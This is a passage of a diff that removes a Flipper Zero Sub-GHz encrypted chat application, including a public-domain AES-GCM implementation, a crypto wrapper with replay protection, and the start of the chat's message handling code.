uint64_t orig_add_len = ctx->add_len * 8;
|
||||
size_t i;
|
||||
|
||||
if(tag_len != 0) memcpy(tag, ctx->base_ectr, tag_len);
|
||||
|
||||
if(orig_len || orig_add_len) {
|
||||
memset(work_buf, 0x00, 16);
|
||||
|
||||
PUT_UINT32_BE((orig_add_len >> 32), work_buf, 0);
|
||||
PUT_UINT32_BE((orig_add_len), work_buf, 4);
|
||||
PUT_UINT32_BE((orig_len >> 32), work_buf, 8);
|
||||
PUT_UINT32_BE((orig_len), work_buf, 12);
|
||||
|
||||
for(i = 0; i < 16; i++) ctx->buf[i] ^= work_buf[i];
|
||||
gcm_mult(ctx, ctx->buf, ctx->buf);
|
||||
for(i = 0; i < tag_len; i++) tag[i] ^= ctx->buf[i];
|
||||
}
|
||||
return (0);
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_CRYPT_AND_TAG
|
||||
*
|
||||
* This either encrypts or decrypts the user-provided data and, either
|
||||
* way, generates an authentication tag of the requested length. It must be
|
||||
* called with a GCM context whose key has already been set with GCM_SETKEY.
|
||||
*
|
||||
* The user would typically call this explicitly to ENCRYPT a buffer of data
|
||||
* and optional associated data, and produce its an authentication tag.
|
||||
*
|
||||
* To reverse the process the user would typically call the companion
|
||||
* GCM_AUTH_DECRYPT function to decrypt data and verify a user-provided
|
||||
* authentication tag. The GCM_AUTH_DECRYPT function calls this function
|
||||
* to perform its decryption and tag generation, which it then compares.
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_crypt_and_tag(
|
||||
gcm_context* ctx, // gcm context with key already setup
|
||||
int mode, // cipher direction: GCM_ENCRYPT or GCM_DECRYPT
|
||||
const uchar* iv, // pointer to the 12-byte initialization vector
|
||||
size_t iv_len, // byte length if the IV. should always be 12
|
||||
const uchar* add, // pointer to the non-ciphered additional data
|
||||
size_t add_len, // byte length of the additional AEAD data
|
||||
const uchar* input, // pointer to the cipher data source
|
||||
uchar* output, // pointer to the cipher data destination
|
||||
size_t length, // byte length of the cipher data
|
||||
uchar* tag, // pointer to the tag to be generated
|
||||
size_t tag_len) // byte length of the tag to be generated
|
||||
{ /*
|
||||
assuming that the caller has already invoked gcm_setkey to
|
||||
prepare the gcm context with the keying material, we simply
|
||||
invoke each of the three GCM sub-functions in turn...
|
||||
*/
|
||||
gcm_start(ctx, mode, iv, iv_len, add, add_len);
|
||||
gcm_update(ctx, length, input, output);
|
||||
gcm_finish(ctx, tag, tag_len);
|
||||
return (0);
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_AUTH_DECRYPT
|
||||
*
|
||||
* This DECRYPTS a user-provided data buffer with optional associated data.
|
||||
* It then verifies a user-supplied authentication tag against the tag just
|
||||
* re-created during decryption to verify that the data has not been altered.
|
||||
*
|
||||
* This function calls GCM_CRYPT_AND_TAG (above) to perform the decryption
|
||||
* and authentication tag generation.
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_auth_decrypt(
|
||||
gcm_context* ctx, // gcm context with key already setup
|
||||
const uchar* iv, // pointer to the 12-byte initialization vector
|
||||
size_t iv_len, // byte length if the IV. should always be 12
|
||||
const uchar* add, // pointer to the non-ciphered additional data
|
||||
size_t add_len, // byte length of the additional AEAD data
|
||||
const uchar* input, // pointer to the cipher data source
|
||||
uchar* output, // pointer to the cipher data destination
|
||||
size_t length, // byte length of the cipher data
|
||||
const uchar* tag, // pointer to the tag to be authenticated
|
||||
size_t tag_len) // byte length of the tag <= 16
|
||||
{
|
||||
uchar check_tag[16]; // the tag generated and returned by decryption
|
||||
int diff; // an ORed flag to detect authentication errors
|
||||
size_t i; // our local iterator
|
||||
/*
|
||||
we use GCM_DECRYPT_AND_TAG (above) to perform our decryption
|
||||
(which is an identical XORing to reverse the previous one)
|
||||
and also to re-generate the matching authentication tag
|
||||
*/
|
||||
gcm_crypt_and_tag(
|
||||
ctx, DECRYPT, iv, iv_len, add, add_len, input, output, length, check_tag, tag_len);
|
||||
|
||||
// now we verify the authentication tag in 'constant time'
|
||||
for(diff = 0, i = 0; i < tag_len; i++) diff |= tag[i] ^ check_tag[i];
|
||||
|
||||
if(diff != 0) { // see whether any bits differed?
|
||||
memset(output, 0, length); // if so... wipe the output data
|
||||
return (GCM_AUTH_FAILURE); // return GCM_AUTH_FAILURE
|
||||
}
|
||||
return (0);
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_ZERO_CTX
|
||||
*
|
||||
* The GCM context contains both the GCM context and the AES context.
|
||||
* This includes keying and key-related material which is security-
|
||||
* sensitive, so it MUST be zeroed after use. This function does that.
|
||||
*
|
||||
******************************************************************************/
|
||||
void gcm_zero_ctx(gcm_context* ctx) {
|
||||
// zero the context originally provided to us
|
||||
memset(ctx, 0, sizeof(gcm_context));
|
||||
}
|
||||
181
applications/external/esubghz_chat/crypto/gcm.h
vendored
@@ -1,181 +0,0 @@
|
||||
/******************************************************************************
|
||||
*
|
||||
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
|
||||
*
|
||||
* This is a simple and straightforward implementation of AES-GCM authenticated
|
||||
* encryption. The focus of this work was correctness & accuracy. It is written
|
||||
* in straight 'C' without any particular focus upon optimization or speed. It
|
||||
* should be endian (memory byte order) neutral since the few places that care
|
||||
* are handled explicitly.
|
||||
*
|
||||
* This implementation of AES-GCM was created by Steven M. Gibson of GRC.com.
|
||||
*
|
||||
* It is intended for general purpose use, but was written in support of GRC's
|
||||
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
|
||||
*
|
||||
* See: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
|
||||
* http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/ \
|
||||
* gcm/gcm-revised-spec.pdf
|
||||
*
|
||||
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
|
||||
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
|
||||
*
|
||||
*******************************************************************************/
|
||||
#ifndef GCM_HEADER
|
||||
#define GCM_HEADER
|
||||
|
||||
#define GCM_AUTH_FAILURE 0x55555555 // authentication failure
|
||||
|
||||
#include "aes.h" // gcm_context includes aes_context
|
||||
|
||||
#if defined(_MSC_VER)
|
||||
#include <basetsd.h>
|
||||
typedef unsigned int size_t; // use the right type for length declarations
|
||||
typedef UINT32 uint32_t;
|
||||
typedef UINT64 uint64_t;
|
||||
#else
|
||||
#include <stdint.h>
|
||||
#endif
|
||||
|
||||
/******************************************************************************
|
||||
* GCM_CONTEXT : GCM context / holds keytables, instance data, and AES ctx
|
||||
******************************************************************************/
|
||||
typedef struct {
|
||||
int mode; // cipher direction: encrypt/decrypt
|
||||
uint64_t len; // cipher data length processed so far
|
||||
uint64_t add_len; // total add data length
|
||||
uint64_t HL[16]; // precalculated lo-half HTable
|
||||
uint64_t HH[16]; // precalculated hi-half HTable
|
||||
uchar base_ectr[16]; // first counter-mode cipher output for tag
|
||||
uchar y[16]; // the current cipher-input IV|Counter value
|
||||
uchar buf[16]; // buf working value
|
||||
aes_context aes_ctx; // cipher context used
|
||||
} gcm_context;
|
||||
|
||||
/******************************************************************************
|
||||
* GCM_CONTEXT : MUST be called once before ANY use of this library
|
||||
******************************************************************************/
|
||||
int gcm_initialize(void);
|
||||
|
||||
/******************************************************************************
|
||||
* GCM_SETKEY : sets the GCM (and AES) keying material for use
|
||||
******************************************************************************/
|
||||
int gcm_setkey(
|
||||
gcm_context* ctx, // caller-provided context ptr
|
||||
const uchar* key, // pointer to cipher key
|
||||
const uint keysize // size in bytes (must be 16, 24, 32 for
|
||||
// 128, 192 or 256-bit keys respectively)
|
||||
); // returns 0 for success
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_CRYPT_AND_TAG
|
||||
*
|
||||
* This either encrypts or decrypts the user-provided data and, either
|
||||
* way, generates an authentication tag of the requested length. It must be
|
||||
* called with a GCM context whose key has already been set with GCM_SETKEY.
|
||||
*
|
||||
* The user would typically call this explicitly to ENCRYPT a buffer of data
|
||||
* and optional associated data, and produce its an authentication tag.
|
||||
*
|
||||
* To reverse the process the user would typically call the companion
|
||||
* GCM_AUTH_DECRYPT function to decrypt data and verify a user-provided
|
||||
* authentication tag. The GCM_AUTH_DECRYPT function calls this function
|
||||
* to perform its decryption and tag generation, which it then compares.
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_crypt_and_tag(
|
||||
gcm_context* ctx, // gcm context with key already setup
|
||||
int mode, // cipher direction: ENCRYPT (1) or DECRYPT (0)
|
||||
const uchar* iv, // pointer to the 12-byte initialization vector
|
||||
size_t iv_len, // byte length if the IV. should always be 12
|
||||
const uchar* add, // pointer to the non-ciphered additional data
|
||||
size_t add_len, // byte length of the additional AEAD data
|
||||
const uchar* input, // pointer to the cipher data source
|
||||
uchar* output, // pointer to the cipher data destination
|
||||
size_t length, // byte length of the cipher data
|
||||
uchar* tag, // pointer to the tag to be generated
|
||||
size_t tag_len); // byte length of the tag to be generated
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_AUTH_DECRYPT
|
||||
*
|
||||
* This DECRYPTS a user-provided data buffer with optional associated data.
|
||||
* It then verifies a user-supplied authentication tag against the tag just
|
||||
* re-created during decryption to verify that the data has not been altered.
|
||||
*
|
||||
* This function calls GCM_CRYPT_AND_TAG (above) to perform the decryption
|
||||
* and authentication tag generation.
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_auth_decrypt(
|
||||
gcm_context* ctx, // gcm context with key already setup
|
||||
const uchar* iv, // pointer to the 12-byte initialization vector
|
||||
size_t iv_len, // byte length if the IV. should always be 12
|
||||
const uchar* add, // pointer to the non-ciphered additional data
|
||||
size_t add_len, // byte length of the additional AEAD data
|
||||
const uchar* input, // pointer to the cipher data source
|
||||
uchar* output, // pointer to the cipher data destination
|
||||
size_t length, // byte length of the cipher data
|
||||
const uchar* tag, // pointer to the tag to be authenticated
|
||||
size_t tag_len); // byte length of the tag <= 16
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_START
|
||||
*
|
||||
* Given a user-provided GCM context, this initializes it, sets the encryption
|
||||
* mode, and preprocesses the initialization vector and additional AEAD data.
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_start(
|
||||
gcm_context* ctx, // pointer to user-provided GCM context
|
||||
int mode, // ENCRYPT (1) or DECRYPT (0)
|
||||
const uchar* iv, // pointer to initialization vector
|
||||
size_t iv_len, // IV length in bytes (should == 12)
|
||||
const uchar* add, // pointer to additional AEAD data (NULL if none)
|
||||
size_t add_len); // length of additional AEAD data (bytes)
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_UPDATE
|
||||
*
|
||||
* This is called once or more to process bulk plaintext or ciphertext data.
|
||||
* We give this some number of bytes of input and it returns the same number
|
||||
* of output bytes. If called multiple times (which is fine) all but the final
|
||||
* invocation MUST be called with length mod 16 == 0. (Only the final call can
|
||||
* have a partial block length of < 128 bits.)
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_update(
|
||||
gcm_context* ctx, // pointer to user-provided GCM context
|
||||
size_t length, // length, in bytes, of data to process
|
||||
const uchar* input, // pointer to source data
|
||||
uchar* output); // pointer to destination data
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_FINISH
|
||||
*
|
||||
* This is called once after all calls to GCM_UPDATE to finalize the GCM.
|
||||
* It performs the final GHASH to produce the resulting authentication TAG.
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_finish(
|
||||
gcm_context* ctx, // pointer to user-provided GCM context
|
||||
uchar* tag, // ptr to tag buffer - NULL if tag_len = 0
|
||||
size_t tag_len); // length, in bytes, of the tag-receiving buf
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_ZERO_CTX
|
||||
*
|
||||
* The GCM context contains both the GCM context and the AES context.
|
||||
* This includes keying and key-related material which is security-
|
||||
* sensitive, so it MUST be zeroed after use. This function does that.
|
||||
*
|
||||
******************************************************************************/
|
||||
void gcm_zero_ctx(gcm_context* ctx);
|
||||
|
||||
#endif /* GCM_HEADER */
|
||||
237
applications/external/esubghz_chat/crypto_wrapper.c
vendored
@@ -1,237 +0,0 @@
|
||||
#include <furi_hal.h>
|
||||
#include <lib/mlib/m-dict.h>
|
||||
#include <toolbox/sha256.h>
|
||||
|
||||
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
||||
#include "crypto/gcm.h"
|
||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
||||
|
||||
#include "crypto_wrapper.h"
|
||||
|
||||
DICT_DEF2(ESubGhzChatReplayDict, uint64_t, uint32_t)
|
||||
|
||||
struct ESugGhzChatCryptoCtx {
|
||||
uint8_t key[KEY_BITS / 8];
|
||||
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
||||
gcm_context gcm_ctx;
|
||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
||||
ESubGhzChatReplayDict_t replay_dict;
|
||||
uint64_t run_id;
|
||||
uint32_t counter;
|
||||
};
|
||||
|
||||
struct ESubGhzChatCryptoMsg {
|
||||
uint64_t run_id;
|
||||
uint32_t counter;
|
||||
uint8_t iv[IV_BYTES];
|
||||
uint8_t tag[TAG_BYTES];
|
||||
uint8_t data[0];
|
||||
} __attribute__((packed));
|
||||
|
||||
void crypto_init(void) {
|
||||
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
||||
/* init the GCM and AES tables */
|
||||
gcm_initialize();
|
||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
||||
}
|
||||
|
||||
void crypto_explicit_bzero(void* s, size_t len) {
|
||||
memset(s, 0, len);
|
||||
asm volatile("" ::: "memory");
|
||||
}
|
||||
|
||||
ESubGhzChatCryptoCtx* crypto_ctx_alloc(void) {
|
||||
ESubGhzChatCryptoCtx* ret = malloc(sizeof(ESubGhzChatCryptoCtx));
|
||||
|
||||
if(ret != NULL) {
|
||||
memset(ret, 0, sizeof(ESubGhzChatCryptoCtx));
|
||||
ESubGhzChatReplayDict_init(ret->replay_dict);
|
||||
ret->run_id = 0;
|
||||
ret->counter = 1;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void crypto_ctx_free(ESubGhzChatCryptoCtx* ctx) {
|
||||
crypto_ctx_clear(ctx);
|
||||
ESubGhzChatReplayDict_clear(ctx->replay_dict);
|
||||
free(ctx);
|
||||
}
|
||||
|
||||
void crypto_ctx_clear(ESubGhzChatCryptoCtx* ctx) {
|
||||
crypto_explicit_bzero(ctx->key, sizeof(ctx->key));
|
||||
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
||||
crypto_explicit_bzero(&(ctx->gcm_ctx), sizeof(ctx->gcm_ctx));
|
||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
||||
ESubGhzChatReplayDict_reset(ctx->replay_dict);
|
||||
ctx->run_id = 0;
|
||||
ctx->counter = 1;
|
||||
}
|
||||
|
||||
static uint64_t crypto_calc_run_id(FuriString* flipper_name, uint32_t tick) {
|
||||
const char* fn = furi_string_get_cstr(flipper_name);
|
||||
size_t fn_len = strlen(fn);
|
||||
|
||||
uint8_t h_in[fn_len + sizeof(uint32_t)];
|
||||
memcpy(h_in, fn, fn_len);
|
||||
memcpy(h_in + fn_len, &tick, sizeof(uint32_t));
|
||||
|
||||
uint8_t h_out[256];
|
||||
sha256(h_in, fn_len + sizeof(uint32_t), h_out);
|
||||
|
||||
uint64_t run_id;
|
||||
memcpy(&run_id, h_out, sizeof(uint64_t));
|
||||
|
||||
return run_id;
|
||||
}
|
||||
|
||||
bool crypto_ctx_set_key(
|
||||
ESubGhzChatCryptoCtx* ctx,
|
||||
const uint8_t* key,
|
||||
FuriString* flipper_name,
|
||||
uint32_t tick) {
|
||||
ctx->run_id = crypto_calc_run_id(flipper_name, tick);
|
||||
ctx->counter = 1;
|
||||
|
||||
memcpy(ctx->key, key, KEY_BITS / 8);
|
||||
#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
||||
return true;
|
||||
#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
||||
return (gcm_setkey(&(ctx->gcm_ctx), key, KEY_BITS / 8) == 0);
|
||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
||||
}
|
||||
|
||||
void crypto_ctx_get_key(ESubGhzChatCryptoCtx* ctx, uint8_t* key) {
|
||||
memcpy(key, ctx->key, KEY_BITS / 8);
|
||||
}
|
||||
|
||||
bool crypto_ctx_decrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out) {
|
||||
if(in_len < MSG_OVERHEAD + 1) {
|
||||
return false;
|
||||
}
|
||||
|
||||
struct ESubGhzChatCryptoMsg* msg = (struct ESubGhzChatCryptoMsg*)in;
|
||||
|
||||
// check if message is stale, if yes, discard
|
||||
uint32_t* counter = ESubGhzChatReplayDict_get(ctx->replay_dict, msg->run_id);
|
||||
if(counter != NULL) {
|
||||
if(*counter >= __ntohl(msg->counter)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// decrypt and auth message
|
||||
#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
||||
bool ret =
|
||||
(furi_hal_crypto_gcm_decrypt_and_verify(
|
||||
ctx->key,
|
||||
msg->iv,
|
||||
(uint8_t*)msg,
|
||||
RUN_ID_BYTES + COUNTER_BYTES,
|
||||
msg->data,
|
||||
out,
|
||||
in_len - MSG_OVERHEAD,
|
||||
msg->tag) == FuriHalCryptoGCMStateOk);
|
||||
#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
||||
bool ret =
|
||||
(gcm_auth_decrypt(
|
||||
&(ctx->gcm_ctx),
|
||||
msg->iv,
|
||||
IV_BYTES,
|
||||
(uint8_t*)msg,
|
||||
RUN_ID_BYTES + COUNTER_BYTES,
|
||||
msg->data,
|
||||
out,
|
||||
in_len - MSG_OVERHEAD,
|
||||
msg->tag,
|
||||
TAG_BYTES) == 0);
|
||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
||||
|
||||
// if auth was successful update replay dict
|
||||
if(ret) {
|
||||
ESubGhzChatReplayDict_set_at(ctx->replay_dict, msg->run_id, __ntohl(msg->counter));
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
bool crypto_ctx_encrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out) {
|
||||
struct ESubGhzChatCryptoMsg* msg = (struct ESubGhzChatCryptoMsg*)out;
|
||||
|
||||
// fill message header
|
||||
msg->run_id = ctx->run_id;
|
||||
msg->counter = __htonl(ctx->counter);
|
||||
furi_hal_random_fill_buf(msg->iv, IV_BYTES);
|
||||
|
||||
// encrypt message and store tag in header
|
||||
#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
||||
bool ret =
|
||||
(furi_hal_crypto_gcm_encrypt_and_tag(
|
||||
ctx->key,
|
||||
msg->iv,
|
||||
(uint8_t*)msg,
|
||||
RUN_ID_BYTES + COUNTER_BYTES,
|
||||
in,
|
||||
msg->data,
|
||||
in_len,
|
||||
msg->tag) == FuriHalCryptoGCMStateOk);
|
||||
#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
||||
bool ret =
|
||||
(gcm_crypt_and_tag(
|
||||
&(ctx->gcm_ctx),
|
||||
ENCRYPT,
|
||||
msg->iv,
|
||||
IV_BYTES,
|
||||
(uint8_t*)msg,
|
||||
RUN_ID_BYTES + COUNTER_BYTES,
|
||||
in,
|
||||
msg->data,
|
||||
in_len,
|
||||
msg->tag,
|
||||
TAG_BYTES) == 0);
|
||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
||||
|
||||
// update replay dict and increase internal counter
|
||||
if(ret) {
|
||||
ESubGhzChatReplayDict_set_at(ctx->replay_dict, ctx->run_id, ctx->counter);
|
||||
ctx->counter++;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
size_t crypto_ctx_dump_replay_dict(
|
||||
ESubGhzChatCryptoCtx* ctx,
|
||||
CryptoCtxReplayDictWriter writer,
|
||||
void* writer_ctx) {
|
||||
size_t ret = 0;
|
||||
ESubGhzChatReplayDict_it_t i;
|
||||
|
||||
for(ESubGhzChatReplayDict_it(i, ctx->replay_dict); !ESubGhzChatReplayDict_end_p(i);
|
||||
ESubGhzChatReplayDict_next(i), ret++) {
|
||||
ESubGhzChatReplayDict_itref_t* ref = ESubGhzChatReplayDict_ref(i);
|
||||
if(!writer(ref->key, ref->value, writer_ctx)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
size_t crypto_ctx_read_replay_dict(
|
||||
ESubGhzChatCryptoCtx* ctx,
|
||||
CryptoCtxReplayDictReader reader,
|
||||
void* reader_ctx) {
|
||||
size_t ret = 0;
|
||||
|
||||
uint64_t run_id;
|
||||
uint32_t counter;
|
||||
|
||||
while(reader(&run_id, &counter, reader_ctx)) {
|
||||
ESubGhzChatReplayDict_set_at(ctx->replay_dict, run_id, counter);
|
||||
ret++;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
@@ -1,51 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define RUN_ID_BYTES (sizeof(uint64_t))
|
||||
#define COUNTER_BYTES (sizeof(uint32_t))
|
||||
#define KEY_BITS 256
|
||||
#define IV_BYTES 12
|
||||
#define TAG_BYTES 16
|
||||
|
||||
#define MSG_OVERHEAD (RUN_ID_BYTES + COUNTER_BYTES + IV_BYTES + TAG_BYTES)
|
||||
|
||||
typedef struct ESugGhzChatCryptoCtx ESubGhzChatCryptoCtx;
|
||||
|
||||
void crypto_init(void);
|
||||
|
||||
/* Function to clear sensitive memory. */
|
||||
void crypto_explicit_bzero(void* s, size_t len);
|
||||
|
||||
ESubGhzChatCryptoCtx* crypto_ctx_alloc(void);
|
||||
void crypto_ctx_free(ESubGhzChatCryptoCtx* ctx);
|
||||
|
||||
void crypto_ctx_clear(ESubGhzChatCryptoCtx* ctx);
|
||||
|
||||
bool crypto_ctx_set_key(
|
||||
ESubGhzChatCryptoCtx* ctx,
|
||||
const uint8_t* key,
|
||||
FuriString* flipper_name,
|
||||
uint32_t tick);
|
||||
void crypto_ctx_get_key(ESubGhzChatCryptoCtx* ctx, uint8_t* key);
|
||||
|
||||
bool crypto_ctx_decrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out);
|
||||
bool crypto_ctx_encrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out);
|
||||
|
||||
typedef bool (*CryptoCtxReplayDictWriter)(uint64_t run_id, uint32_t counter, void* context);
|
||||
typedef bool (*CryptoCtxReplayDictReader)(uint64_t* run_id, uint32_t* counter, void* context);
|
||||
|
||||
size_t crypto_ctx_dump_replay_dict(
|
||||
ESubGhzChatCryptoCtx* ctx,
|
||||
CryptoCtxReplayDictWriter writer,
|
||||
void* writer_ctx);
|
||||
size_t crypto_ctx_read_replay_dict(
|
||||
ESubGhzChatCryptoCtx* ctx,
|
||||
CryptoCtxReplayDictReader reader,
|
||||
void* reader_ctx);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
703
applications/external/esubghz_chat/esubghz_chat.c
vendored
@@ -1,703 +0,0 @@
|
||||
#include <furi_hal.h>
|
||||
#include <gui/elements.h>
|
||||
#include <gui/gui.h>
|
||||
|
||||
#include "helpers/radio_device_loader.h"
|
||||
#include "esubghz_chat_i.h"
|
||||
|
||||
#define CHAT_LEAVE_DELAY 10
|
||||
#define TICK_INTERVAL 50
|
||||
#define MESSAGE_COMPLETION_TIMEOUT 500
|
||||
|
||||
#define KBD_UNLOCK_CNT 3
|
||||
#define KBD_UNLOCK_TIMEOUT 1000
|
||||
|
||||
/* Callback for RX events from the Sub-GHz worker. Records the current ticks as
|
||||
* the time of the last reception. */
|
||||
static void have_read_cb(void* context) {
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
state->last_time_rx_data = furi_get_tick();
|
||||
}
|
||||
|
||||
/* Sets the header for the chat input field depending on whether or not a
|
||||
* message preview exists. */
|
||||
void set_chat_input_header(ESubGhzChatState* state) {
|
||||
if(strlen(state->msg_preview) == 0) {
|
||||
text_input_set_header_text(state->text_input, "Message");
|
||||
} else {
|
||||
text_input_set_header_text(state->text_input, state->msg_preview);
|
||||
}
|
||||
}
|
||||
|
||||
/* Appends the latest message to the chat box and prepares the message preview.
|
||||
*/
|
||||
void append_msg(ESubGhzChatState* state, const char* msg) {
|
||||
/* append message to text box */
|
||||
furi_string_cat_printf(state->chat_box_store, "\n%s", msg);
|
||||
|
||||
/* prepare message preview */
|
||||
strncpy(state->msg_preview, msg, MSG_PREVIEW_SIZE);
|
||||
state->msg_preview[MSG_PREVIEW_SIZE] = 0;
|
||||
set_chat_input_header(state);
|
||||
|
||||
/* reset text box contents and focus */
|
||||
text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
|
||||
text_box_set_focus(state->chat_box, TextBoxFocusEnd);
|
||||
}
|
||||
|
||||
/* Decrypts a message for post_rx(). */
|
||||
static bool post_rx_decrypt(ESubGhzChatState* state, size_t rx_size) {
|
||||
bool ret = crypto_ctx_decrypt(
|
||||
state->crypto_ctx, state->rx_buffer, rx_size, (uint8_t*)state->rx_str_buffer);
|
||||
|
||||
if(ret) {
|
||||
state->rx_str_buffer[rx_size - (MSG_OVERHEAD)] = 0;
|
||||
} else {
|
||||
state->rx_str_buffer[0] = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* Post RX handler, decrypts received messages and calls append_msg(). */
|
||||
static void post_rx(ESubGhzChatState* state, size_t rx_size) {
|
||||
furi_assert(state);
|
||||
|
||||
if(rx_size == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
furi_check(rx_size <= RX_TX_BUFFER_SIZE);
|
||||
|
||||
/* decrypt if necessary */
|
||||
if(!state->encrypted) {
|
||||
memcpy(state->rx_str_buffer, state->rx_buffer, rx_size);
|
||||
state->rx_str_buffer[rx_size] = 0;
|
||||
|
||||
/* remove trailing newline if it is there, for compat with CLI
|
||||
* Sub-GHz chat */
|
||||
if(state->rx_str_buffer[rx_size - 1] == '\n') {
|
||||
state->rx_str_buffer[rx_size - 1] = 0;
|
||||
}
|
||||
} else {
|
||||
/* if decryption fails output an error message */
|
||||
if(!post_rx_decrypt(state, rx_size)) {
|
||||
strcpy(state->rx_str_buffer, "ERR: Decryption failed!");
|
||||
}
|
||||
}
|
||||
|
||||
/* append message to text box and prepare message preview */
|
||||
append_msg(state, state->rx_str_buffer);
|
||||
|
||||
/* send notification (make the flipper vibrate) */
|
||||
notification_message(state->notification, &sequence_single_vibro);
|
||||
}
|
||||
|
||||
/* Reads the message from msg_input, encrypts it if necessary and then
|
||||
* transmits it. */
|
||||
void tx_msg_input(ESubGhzChatState* state) {
|
||||
/* encrypt message if necessary */
|
||||
size_t msg_len = strlen(furi_string_get_cstr(state->msg_input));
|
||||
size_t tx_size = msg_len;
|
||||
if(state->encrypted) {
|
||||
tx_size += MSG_OVERHEAD;
|
||||
furi_check(tx_size <= sizeof(state->tx_buffer));
|
||||
|
||||
crypto_ctx_encrypt(
|
||||
state->crypto_ctx,
|
||||
(uint8_t*)furi_string_get_cstr(state->msg_input),
|
||||
msg_len,
|
||||
state->tx_buffer);
|
||||
} else {
|
||||
tx_size += 2;
|
||||
furi_check(tx_size <= sizeof(state->tx_buffer));
|
||||
memcpy(state->tx_buffer, furi_string_get_cstr(state->msg_input), msg_len);
|
||||
|
||||
/* append \r\n for compat with Sub-GHz CLI chat */
|
||||
state->tx_buffer[msg_len] = '\r';
|
||||
state->tx_buffer[msg_len + 1] = '\n';
|
||||
}
|
||||
|
||||
/* transmit */
|
||||
subghz_tx_rx_worker_write(state->subghz_worker, state->tx_buffer, tx_size);
|
||||
}
|
||||
|
||||
/* Displays information on frequency, encryption and radio type in the text
|
||||
* box. Also clears the text input buffer to remove the password and starts the
|
||||
* Sub-GHz worker. After starting the worker a join message is transmitted. */
|
||||
void enter_chat(ESubGhzChatState* state) {
|
||||
furi_string_cat_printf(state->chat_box_store, "Frequency: %lu", state->frequency);
|
||||
|
||||
furi_string_cat_printf(
|
||||
state->chat_box_store, "\nEncrypted: %s", (state->encrypted ? "yes" : "no"));
|
||||
|
||||
subghz_tx_rx_worker_start(state->subghz_worker, state->subghz_device, state->frequency);
|
||||
|
||||
if(strcmp(state->subghz_device->name, "cc1101_ext") == 0) {
|
||||
furi_string_cat_printf(state->chat_box_store, "\nRadio: External");
|
||||
} else {
|
||||
furi_string_cat_printf(state->chat_box_store, "\nRadio: Internal");
|
||||
}
|
||||
|
||||
/* concatenate the name prefix and join message */
|
||||
furi_string_set(state->msg_input, state->name_prefix);
|
||||
furi_string_cat_str(state->msg_input, " joined chat.");
|
||||
|
||||
/* encrypt and transmit message */
|
||||
tx_msg_input(state);
|
||||
|
||||
/* clear message input buffer */
|
||||
furi_string_set_char(state->msg_input, 0, 0);
|
||||
}
|
||||
|
||||
/* Sends a leave message */
|
||||
void exit_chat(ESubGhzChatState* state) {
|
||||
/* concatenate the name prefix and leave message */
|
||||
